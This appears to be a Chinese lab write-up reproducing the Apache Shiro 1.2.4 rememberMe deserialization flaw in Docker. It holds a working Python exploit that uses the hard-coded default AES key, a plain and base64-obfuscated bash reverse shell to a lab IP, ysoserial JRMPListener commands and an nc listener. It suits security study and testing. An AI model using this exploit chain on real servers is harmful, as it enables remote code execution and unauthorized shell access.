Apache Shiro java反序列化漏洞复现

Apache Shiro java反序列化漏洞复现

Scroll Down

shiro

影响版本

Apache Shiro <= 1.2.4

环境搭建

准备环境

攻击机: Windows或者Linux (我用的是windows10 1903)、ysoserial-0.0.6-SNAPSHOT-all.jar、python环境、Java环境
靶机: 带docker的Linux就行

靶机环境搭建

获取docker镜像

docker pull medicean/vulapps:s_shiro_1

重启docker

systemctl restart docker

启动docker镜像:

docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

复现过程

先制作exp

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):  #ysoserial-0.0.6-SNAPSHOT-all.jar #文件需要在该文件目录

    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)  
    BS = AES.block_size  
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()  
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")  
    iv = uuid.uuid4().bytes  
    encryptor = AES.new(key, AES.MODE_CBC, iv)  
    file_body = pad(popen.stdout.read())  
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))  
    return base64_ciphertext


if __name__== '__main__':  
	payload = encode_rememberme(sys.argv[1])
		
print ("rememberMe={0}".format(payload.decode()))

使用此exp生成payload

python .\PopX.py 192.168.136.1:3888


执行时可能遇见无Crypto这个插件的报错
更改pip源:直接在user目录中创建一个pip目录,如:C:\Users\xx\pip,新建文件pip.ini文件
文件内容

[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
[install]
trusted-host=pypi.tuna.tsinghua.edu.cn

但是下载Crypto时会报错,可以直接下载pycryptodom
pycrypto、pycrytodome和crypto是一个东西,crypto在python上面的名字是pycrypto,它是一个第三方库,但是已经停止更新三年了,所以不建议安装这个库; 这个时候pycryptodome就来了,它是pycrypto的延伸版本,用法和pycrypto是一模一样的

pip3  install pycryptodome

成功安装后就可以执行EXP了

接下来制作反弹 shell 代码
弹shell命令

bash -i >& /dev/tcp/192.168.136.1/8888 0>&1

使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码 跳转

编码后如下

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNi4xLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}

然后进行 Java 反序列化绕过 base64 编码 powershell执行
再使用 `ysoserial` 中 JRMP 监听模块,监听 3888 端口 ` 注意这里的端口是刚才生成 rememberMe 值的端口 `。再加上生成的 base64 编码。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNi4xLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}'

可以写成CommonsCollections4或者CommonsCollections2
使用nc监听端口

nc -lvvp 8888


命令执行
抓取登录时的数据包,注意抓取的时候点上 remember me

抓取登录后的第二个GET包,将JSESSIONID删除掉。

出现这个为成功

查看ysoserial的监听端口

查看NC的监听的端口

执行命令

攻击成功

参考链接:
https://blog.csdn.net/u011975363/article/details/102391669
https://www.chainnews.com/articles/653693771328.htm